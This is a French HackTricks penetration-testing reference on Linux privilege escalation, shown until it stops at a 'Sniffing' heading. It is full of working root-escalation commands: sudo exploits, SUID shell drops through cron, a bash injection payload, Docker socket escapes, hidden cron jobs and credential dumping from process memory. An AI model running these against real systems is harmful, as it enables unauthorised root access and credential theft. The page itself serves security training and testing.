Linux Privilege Escalation
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations système
Informations OS
Commençons par obtenir quelques informations sur l’OS en cours d’exécution
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
Path
Si vous avez des permissions d’écriture sur n’importe quel dossier contenu dans la variable PATH, vous pouvez potentiellement détourner certaines bibliothèques ou binaires :
echo $PATH
Infos d’environnement
Des informations intéressantes, des mots de passe ou des clés API dans les variables d’environnement ?
(env || set) 2>/dev/null
Kernel exploits
Vérifiez la version du kernel et s’il existe un exploit pouvant être utilisé pour escalate privileges.
cat /proc/version
uname -a
searchsploit "Linux Kernel"
Vous pouvez trouver une bonne liste de kernel vulnérables et quelques compiled exploits ici: https://github.com/lucyoa/kernel-exploits et exploitdb sploits.
D’autres sites où vous pouvez trouver des compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
Pour extraire toutes les versions de kernel vulnérables depuis ces sites, vous pouvez faire:
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
Outils pouvant aider à rechercher des kernel exploits :
linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (exécuter sur la victime, vérifie uniquement les exploits pour kernel 2.x)
Toujours recherchez la kernel version sur Google, il se peut que votre kernel version soit mentionnée dans un kernel exploit et vous pourrez ainsi être sûr que cet exploit est valide.
Additional kernel exploitation technique:
Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw
CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
Sudo version
Basé sur les versions vulnérables de sudo qui apparaissent dans :
searchsploit sudo
Vous pouvez vérifier si la version de sudo est vulnérable en utilisant ce grep.
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
Sudo < 1.9.17p1
Les versions de sudo antérieures à 1.9.17p1 (1.9.14 - 1.9.17 < 1.9.17p1) permettent à des utilisateurs locaux non privilégiés d’escalader leurs privilèges vers root via l’option sudo --chroot lorsque le fichier /etc/nsswitch.conf est utilisé depuis un répertoire contrôlé par l’utilisateur.
Voici un PoC pour exploiter cette vulnerability. Avant d’exécuter l’exploit, assurez-vous que votre version de sudo est vulnérable et qu’elle prend en charge la fonctionnalité chroot.
Pour plus d’informations, consultez l’vulnerability advisory original
sudo < v1.8.28
De @sickrov
sudo -u#-1 /bin/bash
Dmesg signature verification failed
Consultez smasher2 box of HTB pour un exemple de la façon dont cette vuln pourrait être exploitée
dmesg 2>/dev/null | grep "signature"
Plus d’énumération du système
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
Énumérer les défenses possibles
AppArmor
if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi
Grsecurity
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
PaX
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
Execshield
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
SElinux
(sestatus 2>/dev/null || echo "Not found sestatus")
ASLR
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled
Docker Breakout
Si vous êtes à l’intérieur d’un docker container, vous pouvez essayer d’en sortir :
Disques
Vérifiez what is mounted and unmounted, où et pourquoi. Si quelque chose est unmounted, vous pouvez essayer de le mount et vérifier s’il contient des informations privées.
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
Logiciels utiles
Énumérer les binaires utiles
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
Aussi, vérifiez si any compiler is installed. Cela est utile si vous devez utiliser un kernel exploit, car il est recommandé de le compiler sur la machine où vous allez l’utiliser (ou sur une machine similaire).
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
Logiciels vulnérables installés
Vérifiez la version des paquets et services installés. Il se peut qu’il y ait une ancienne version de Nagios (par exemple) qui pourrait être exploitée pour escalating privileges…
Il est recommandé de vérifier manuellement la version des logiciels installés les plus suspects.
dpkg -l #Debian
rpm -qa #Centos
Si vous avez un accès SSH à la machine, vous pouvez aussi utiliser openVAS pour vérifier les logiciels installés sur la machine et déterminer s’ils sont obsolètes ou vulnérables.
[!NOTE] > Notez que ces commandes afficheront beaucoup d’informations qui seront la plupart du temps inutiles ; il est donc recommandé d’utiliser des applications comme OpenVAS ou similaires qui vérifieront si une version de logiciel installée est vulnérable à des exploits connus
Processus
Regardez quels processus s’exécutent et vérifiez si l’un d’entre eux possède plus de privilèges qu’il ne devrait (par exemple un tomcat lancé par root ?)
ps aux
ps -ef
top -n 1
Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas detect those by checking the --inspect parameter inside the command line of the process.
Vérifiez aussi vos privilèges sur les binaires des processus, vous pourriez en écraser un.
Surveillance des processus
Vous pouvez utiliser des outils comme pspy pour surveiller les processus. Cela peut être très utile pour identifier des processus vulnérables qui s’exécutent fréquemment ou lorsque certaines conditions sont remplies.
Mémoire des processus
Certains services d’un serveur enregistrent des identifiants en clair dans la mémoire.
Normalement vous aurez besoin des privilèges root pour lire la mémoire des processus appartenant à d’autres utilisateurs ; c’est donc généralement plus utile lorsque vous êtes déjà root et souhaitez découvrir d’autres identifiants.
Cependant, souvenez-vous que en tant qu’utilisateur ordinaire vous pouvez lire la mémoire des processus que vous possédez.
Warning
Notez que de nos jours la plupart des machines n’autorisent pas ptrace par défaut, ce qui signifie que vous ne pouvez pas dumper d’autres processus appartenant à votre utilisateur non privilégié.
Le fichier /proc/sys/kernel/yama/ptrace_scope contrôle l’accessibilité de ptrace :
- kernel.yama.ptrace_scope = 0: tous les processus peuvent être débogués, tant qu’ils ont le même uid. C’est le comportement classique du ptrace.
- kernel.yama.ptrace_scope = 1: seul un processus parent peut être débogué.
- kernel.yama.ptrace_scope = 2: seul l’administrateur peut utiliser ptrace, car il nécessite la capability CAP_SYS_PTRACE.
- kernel.yama.ptrace_scope = 3: aucun processus ne peut être tracé avec ptrace. Une fois défini, un redémarrage est nécessaire pour réactiver ptracing.
GDB
Si vous avez accès à la mémoire d’un service FTP (par exemple), vous pourriez récupérer le Heap et rechercher à l’intérieur ses identifiants.
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password
Script GDB
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done
/proc/$pid/maps & /proc/$pid/mem
Pour un ID de processus donné, maps montre comment la mémoire est mappée dans l’espace d’adressage virtuel de ce processus ; il montre aussi les permissions de chaque région mappée. Le pseudo-fichier mem expose la mémoire du processus lui-même. À partir du fichier maps nous savons quelles régions mémoire sont lisibles et leurs offsets. Nous utilisons ces informations pour seek dans le fichier mem et dumper toutes les régions lisibles dans un fichier.
procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)
/dev/mem
/dev/mem fournit un accès à la mémoire physique du système, pas à la mémoire virtuelle. L’espace d’adressage virtuel du noyau peut être accédé en utilisant /dev/kmem.\
Typiquement, /dev/mem n’est lisible que par root et le groupe kmem.
strings /dev/mem -n10 | grep -i PASS
ProcDump pour linux
ProcDump est une réinvention pour Linux de l’outil classique ProcDump de la suite Sysinternals pour Windows. Disponible sur https://github.com/Sysinternals/ProcDump-for-Linux
procdump -p 1714
ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.
Process: sleep (1714)
CPU Threshold: n/a
Commit Threshold: n/a
Thread Threshold: n/a
File descriptor Threshold: n/a
Signal: n/a
Polling interval (ms): 1000
Threshold (s): 10
Number of Dumps: 1
Output directory for core dumps: .
Press Ctrl-C to end monitoring without terminating the process.
[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
Outils
Pour dumper la mémoire d’un processus, vous pouvez utiliser :
- https://github.com/Sysinternals/ProcDump-for-Linux
- https://github.com/hajzer/bash-memory-dump (root) - _Vous pouvez supprimer manuellement les exigences root et dumper le processus dont vous êtes propriétaire
- Script A.5 de https://www.delaat.net/rp/2016-2017/p97/report.pdf (root est requis)
Identifiants depuis la mémoire du processus
Exemple manuel
Si vous constatez que le processus authenticator est en cours d’exécution :
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
Vous pouvez dump le process (voir les sections précédentes pour trouver différentes façons de dump la memory d’un process) et rechercher des credentials dans la memory:
./dump-memory.sh 2027
strings *.dump | grep -i password
mimipenguin
The tool https://github.com/huntergregal/mimipenguin va voler des identifiants en clair depuis la mémoire et depuis certains fichiers bien connus. Il nécessite les privilèges root pour fonctionner correctement.
| Fonctionnalité | Nom du processus |
|---|---|
| Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Active FTP Connections) | vsftpd |
| Apache2 (Active HTTP Basic Auth Sessions) | apache2 |
| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: |
Expressions régulières de recherche/truffleproc
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
Tâches planifiées / Cron jobs
Crontab UI (alseambusher) s’exécutant en tant que root – planificateur web privesc
Si un panneau web “Crontab UI” (alseambusher/crontab-ui) s’exécute en tant que root et n’est lié qu’au loopback, vous pouvez quand même y accéder via SSH local port-forwarding et créer un privileged job to escalate.
Chaîne typique
- Découvrir un port accessible uniquement via loopback (p.ex., 127.0.0.1:8000) et le realm Basic-Auth via
ss -ntlp/curl -v localhost:8000 - Trouver des identifiants dans des artefacts opérationnels :
- Sauvegardes/scripts avec
zip -P <password> - unit systemd exposant
Environment="BASIC_AUTH_USER=...",Environment="BASIC_AUTH_PWD=..."
- Sauvegardes/scripts avec
- Établir un tunnel et se connecter :
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
- Créer un high-priv job et l’exécuter immédiatement (drops SUID shell):
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
- Utilisez-le :
/tmp/rootshell -p # root shell
Durcissement
- Ne pas exécuter Crontab UI en tant que root; restreindre à un utilisateur dédié avec des permissions minimales
- Restreindre l’écoute à localhost et limiter l’accès via firewall/VPN; ne pas réutiliser les mots de passe
- Éviter d’embarquer des secrets dans unit files; utiliser des secret stores ou un EnvironmentFile accessible uniquement par root
- Activer l’audit/la journalisation pour les exécutions de job à la demande
Vérifiez si un scheduled job est vulnérable. Peut-être pouvez-vous tirer parti d’un script exécuté par root (wildcard vuln? pouvoir modifier des fichiers utilisés par root? utiliser des symlinks? créer des fichiers spécifiques dans le répertoire utilisé par root?).
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
Cron path
Par exemple, dans /etc/crontab vous pouvez trouver le PATH : PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
(Remarque : l’utilisateur “user” a des droits d’écriture sur /home/user)
Si dans ce crontab l’utilisateur root tente d’exécuter une commande ou un script sans définir le PATH. Par exemple : * * * * root overwrite.sh
Vous pouvez alors obtenir un shell root en utilisant:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
Cron utilisant un script avec un wildcard (Wildcard Injection)
Si un script exécuté par root contient un “*” dans une commande, vous pouvez l’exploiter pour provoquer des comportements inattendus (comme privesc). Exemple :
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
Si le wildcard est précédé d’un chemin comme /some/path/* , il n’est pas vulnérable (même ./* ne l’est pas).
Lisez la page suivante pour plus d’astuces d’exploitation de wildcard :
Bash arithmetic expansion injection in cron log parsers
Bash effectue parameter expansion et command substitution avant l’évaluation arithmétique dans ((…)), $((…)) et let. Si un cron/parser exécuté en root lit des champs de log non fiables et les injecte dans un contexte arithmétique, un attaquant peut injecter une command substitution $(…) qui s’exécute en root lorsque le cron tourne.
-
Why it works: Sous Bash, les expansions s’effectuent dans cet ordre : parameter/variable expansion, command substitution, arithmetic expansion, puis word splitting et pathname expansion. Ainsi une valeur comme
$(/bin/bash -c 'id > /tmp/pwn')0est d’abord substituée (la command s’exécute), puis le0numérique restant est utilisé pour l’arithmétique, laissant le script continuer sans erreur. -
Typical vulnerable pattern:
#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count )) # or: let "n=$count"
done < /var/www/app/log/application.log
- Exploitation : Faites écrire dans le log du texte contrôlé par l’attaquant de sorte que le champ à l’apparence numérique contienne une command substitution et se termine par un chiffre. Assurez-vous que votre commande n’écrit pas sur stdout (ou redirigez-la) afin que l’arithmétique reste valide.
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.
Cron script overwriting and symlink
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
Si le script exécuté par root utilise un répertoire auquel vous avez un accès complet, il peut être utile de supprimer ce dossier et de créer un symlink vers un autre répertoire contenant un script que vous contrôlez.
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
Binaires cron signés sur-mesure avec des payloads modifiables
Les blue teams signent parfois des binaires lancés par cron en vidant une section ELF personnalisée et en cherchant une chaîne fournisseur avec grep avant de les exécuter en tant que root. Si ce binaire est writable par le groupe (par ex., /opt/AV/periodic-checks/monitor appartenant à root:devs 770) et que vous pouvez leak le matériel de signature, vous pouvez forger la section et détourner la tâche cron :
- Utilisez
pspypour capturer le flux de vérification. Dans Era, root a exécutéobjcopy --dump-section .text_sig=text_sig_section.bin monitorsuivi degrep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.binpuis a exécuté le fichier. - Recréez le certificat attendu en utilisant la clé/config leaked (depuis
signing.zip):
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
- Construisez un remplaçant malveillant (par ex., déposer un SUID bash, ajouter votre clé SSH) et intégrez le certificat dans
.text_sigpour que le grep réussisse:
gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'
- Écrasez le binaire planifié en préservant les bits d’exécution:
cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor
- Attendez la prochaine exécution cron ; dès que la vérification naïve de la signature réussit, votre payload s’exécute en tant que root.
Tâches cron fréquentes
Vous pouvez surveiller les processus pour repérer ceux qui s’exécutent toutes les 1, 2 ou 5 minutes. Vous pouvez éventuellement en tirer parti pour escalader les privilèges.
Par exemple, pour surveiller toutes les 0.1s pendant 1 minute, trier par les commandes les moins exécutées et supprimer les commandes qui ont été exécutées le plus, vous pouvez faire :
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
Vous pouvez aussi utiliser pspy (cela surveillera et listera chaque processus qui démarre).
Cron jobs invisibles
Il est possible de créer un cronjob en mettant un retour chariot après un commentaire (sans caractère de nouvelle ligne), et le cron job fonctionnera. Exemple (notez le caractère de retour chariot):
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
Services
Fichiers .service accessibles en écriture
Vérifiez si vous pouvez écrire un fichier .service ; si c’est le cas, vous pourriez le modifier pour qu’il exécute votre backdoor lorsque le service est démarré, redémarré ou arrêté (il se peut que vous deviez attendre que la machine soit redémarrée).
Par exemple, créez votre backdoor dans le fichier .service avec ExecStart=/tmp/script.sh
Binaires de service accessibles en écriture
Gardez à l’esprit que si vous avez les permissions d’écriture sur des binaires exécutés par des services, vous pouvez les modifier pour y intégrer des backdoors de sorte que, lorsque les services seront réexécutés, les backdoors s’exécutent.
systemd PATH - Chemins relatifs
Vous pouvez voir le PATH utilisé par systemd avec:
systemctl show-environment
Si vous constatez que vous pouvez écrire dans n’importe quel dossier du chemin, vous pourriez être capable d’escalate privileges. Vous devez rechercher les chemins relatifs utilisés dans les fichiers de configuration des services tels que :
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
Ensuite, créez un exécutable portant le même nom que le binaire du chemin relatif dans le dossier PATH de systemd sur lequel vous avez des droits d’écriture, et lorsque le service est sollicité pour exécuter l’action vulnérable (Start, Stop, Reload), votre backdoor sera exécuté (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter les services, mais vérifiez si vous pouvez utiliser sudo -l).
Learn more about services with man systemd.service.
Timers
Les Timers sont des fichiers d’unité systemd dont le nom se termine par **.timer** et qui contrôlent des fichiers ou événements **.service**. Les Timers peuvent être utilisés comme alternative à cron car ils disposent d’un support intégré pour les événements calendaires et les événements en temps monotone, et peuvent être exécutés de manière asynchrone.
Vous pouvez énumérer tous les timers avec :
systemctl list-timers --all
Timers modifiables
Si vous pouvez modifier un timer, vous pouvez lui faire exécuter des unités existantes de systemd.unit (comme une .service ou une .target)
Unit=backdoor.service
L’unité à activer lorsque ce timer expire. L’argument est un nom d’unité, dont le suffixe n’est pas “.timer”. Si non spécifié, cette valeur par défaut correspond à un service ayant le même nom que l’unité timer, à l’exception du suffixe. (Voir ci‑dessus.) Il est recommandé que le nom de l’unité activée et le nom de l’unité timer soient identiques, sauf pour le suffixe.
Par conséquent, pour abuser de cette permission vous devrez :
- Trouver une unité systemd (comme une
.service) qui exécute un binaire modifiable en écriture - Trouver une unité systemd qui exécute un chemin relatif et sur laquelle vous avez des privilèges d’écriture sur le systemd PATH (pour usurper cet exécutable)
En savoir plus sur les timers avec man systemd.timer.
Activation du timer
Pour activer un timer vous avez besoin des privilèges root et d’exécuter :
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
Notez que le timer est activé en créant un symlink vers lui sur /etc/systemd/system/<WantedBy_section>.wants/<name>.timer
Sockets
Unix Domain Sockets (UDS) permettent la communication entre processus sur la même machine ou entre machines différentes dans des modèles client-serveur. Ils utilisent des fichiers de descripteurs Unix standard pour la communication inter-ordinateurs et sont configurés via des fichiers .socket.
Les sockets peuvent être configurés en utilisant des fichiers .socket.
Learn more about sockets with man systemd.socket. Dans ce fichier, plusieurs paramètres intéressants peuvent être configurés :
ListenStream,ListenDatagram,ListenSequentialPacket,ListenFIFO,ListenSpecial,ListenNetlink,ListenMessageQueue,ListenUSBFunction: Ces options sont différentes mais un résumé est utilisé pour indiquer où il va écouter le socket (le chemin du fichier de socket AF_UNIX, l’adresse IPv4/6 et/ou le numéro de port à écouter, etc.)Accept: Prend un argument booléen. Si true, une instance de service est lancée pour chaque connexion entrante et seul le socket de connexion lui est passé. Si false, tous les sockets d’écoute eux-mêmes sont passés à l’unité de service démarrée, et une seule unité de service est lancée pour toutes les connexions. Cette valeur est ignorée pour les datagram sockets et les FIFO où une seule unité de service gère inconditionnellement tout le trafic entrant. Par défaut : false. Pour des raisons de performance, il est recommandé d’écrire de nouveaux daemons uniquement d’une manière adaptée àAccept=no.ExecStartPre,ExecStartPost: Prennent une ou plusieurs lignes de commande, qui sont exécutées avant ou après que les sockets/FIFOs d’écoute soient créés et liés, respectivement. Le premier token de la ligne de commande doit être un nom de fichier absolu, suivi des arguments pour le processus.ExecStopPre,ExecStopPost: Commandes supplémentaires qui sont exécutées avant ou après que les sockets/FIFOs d’écoute soient fermés et supprimés, respectivement.Service: Spécifie le nom de l’unité service à activer sur le trafic entrant. Ce réglage n’est autorisé que pour les sockets avec Accept=no. Par défaut, il pointe vers le service qui porte le même nom que le socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d’utiliser cette option.
Writable .socket files
Si vous trouvez un fichier .socket inscriptible vous pouvez ajouter au début de la section [Socket] quelque chose comme : ExecStartPre=/home/kali/sys/backdoor et le backdoor sera exécuté avant que le socket ne soit créé. Par conséquent, vous devrez probablement attendre que la machine soit redémarrée.
Notez que le système doit utiliser cette configuration de fichier socket sinon le backdoor ne sera pas exécuté
Writable sockets
Si vous identifiez un socket inscriptible (maintenant nous parlons des Unix Sockets et non des fichiers de config .socket), alors vous pouvez communiquer avec ce socket et peut-être exploiter une vulnérabilité.
Énumérer les sockets Unix
netstat -a -p --unix
Connexion brute
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
Exemple d’exploitation :
HTTP sockets
Notez qu’il peut y avoir certains sockets à l’écoute de requêtes HTTP (je ne parle pas des fichiers .socket mais des fichiers agissant comme des unix sockets). Vous pouvez vérifier cela avec:
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
Si le socket répond à une requête HTTP, alors vous pouvez communiquer avec lui et peut-être exploit some vulnerability.
Socket Docker inscriptible
Le socket Docker, souvent trouvé à /var/run/docker.sock, est un fichier critique qui doit être sécurisé. Par défaut, il est inscriptible par l’utilisateur root et les membres du groupe docker. Posséder un accès en écriture à ce socket peut conduire à privilege escalation. Voici un aperçu de la façon dont cela peut être fait et des méthodes alternatives si le Docker CLI n’est pas disponible.
Privilege Escalation with Docker CLI
Si vous avez un accès en écriture au socket Docker, you can escalate privileges en utilisant les commandes suivantes :
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
Ces commandes vous permettent d’exécuter un conteneur avec un accès root au système de fichiers de l’hôte.
Utilisation directe de Docker API
Dans les cas où le Docker CLI n’est pas disponible, le Docker socket peut toujours être manipulé à l’aide de Docker API et de commandes curl.
- Lister les images Docker: Récupérer la liste des images disponibles.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
- Créer un conteneur: Envoyer une requête pour créer un conteneur qui monte le répertoire racine du système hôte.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
Démarrer le conteneur nouvellement créé :
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
- Se connecter au conteneur : Utilisez
socatpour établir une connexion au conteneur, permettant l’exécution de commandes à l’intérieur.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
Après avoir établi la connexion socat, vous pouvez exécuter des commandes directement dans le conteneur avec un accès root au système de fichiers de l’hôte.
Autres
Notez que si vous avez des permissions d’écriture sur le docker socket parce que vous êtes dans le groupe docker vous avez more ways to escalate privileges. Si le docker API is listening in a port you can also be able to compromise it.
Consultez more ways to break out from docker or abuse it to escalate privileges dans :
Containerd (ctr) privilege escalation
Si vous constatez que vous pouvez utiliser la commande ctr lisez la page suivante car you may be able to abuse it to escalate privileges :
Containerd (ctr) Privilege Escalation
RunC privilege escalation
Si vous constatez que vous pouvez utiliser la commande runc lisez la page suivante car you may be able to abuse it to escalate privileges :
D-Bus
D-Bus est un système sophistiqué de inter-Process Communication (IPC) qui permet aux applications d’interagir et de partager des données de manière efficace. Conçu pour les systèmes Linux modernes, il offre un cadre robuste pour différentes formes de communication entre applications.
Le système est polyvalent, supportant des IPC basiques qui améliorent l’échange de données entre processus, rappelant des UNIX domain sockets améliorés. De plus, il aide à diffuser des événements ou des signaux, favorisant l’intégration fluide entre les composants du système. Par exemple, un signal venant d’un démon Bluetooth concernant un appel entrant peut pousser un lecteur multimédia à se couper, améliorant l’expérience utilisateur. En outre, D-Bus supporte un système d’objets distants, simplifiant les requêtes de service et les invocations de méthodes entre applications, rationalisant des processus auparavant complexes.
D-Bus fonctionne sur un modèle allow/deny, gérant les permissions des messages (appels de méthodes, émissions de signaux, etc.) sur la base de l’effet cumulatif des règles de politique qui correspondent. Ces politiques spécifient les interactions avec le bus, pouvant potentiellement permettre une escalation de privilèges via l’exploitation de ces permissions.
Un exemple d’une telle politique dans /etc/dbus-1/system.d/wpa_supplicant.conf est fourni, détaillant les permissions pour l’utilisateur root pour posséder, envoyer vers, et recevoir des messages de fi.w1.wpa_supplicant1.
Les politiques sans utilisateur ou groupe spécifié s’appliquent universellement, tandis que les politiques de contexte “default” s’appliquent à tous ceux qui ne sont pas couverts par d’autres politiques spécifiques.
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
Apprenez comment enumerate et exploit une communication D-Bus ici :
D-Bus Enumeration & Command Injection Privilege Escalation
Réseau
Il est toujours intéressant de enumerate le réseau et de déterminer la position de la machine.
Générique enumeration
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname
#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf
#Interfaces
cat /etc/networks
(ifconfig || ip a)
#Neighbours
(arp -e || arp -a)
(route || ip n)
#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
#Files used by network services
lsof -i
Open ports
Vérifiez toujours les services réseau en cours d’exécution sur la machine avec lesquels vous n’avez pas pu interagir avant d’y accéder :
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
Sniffing
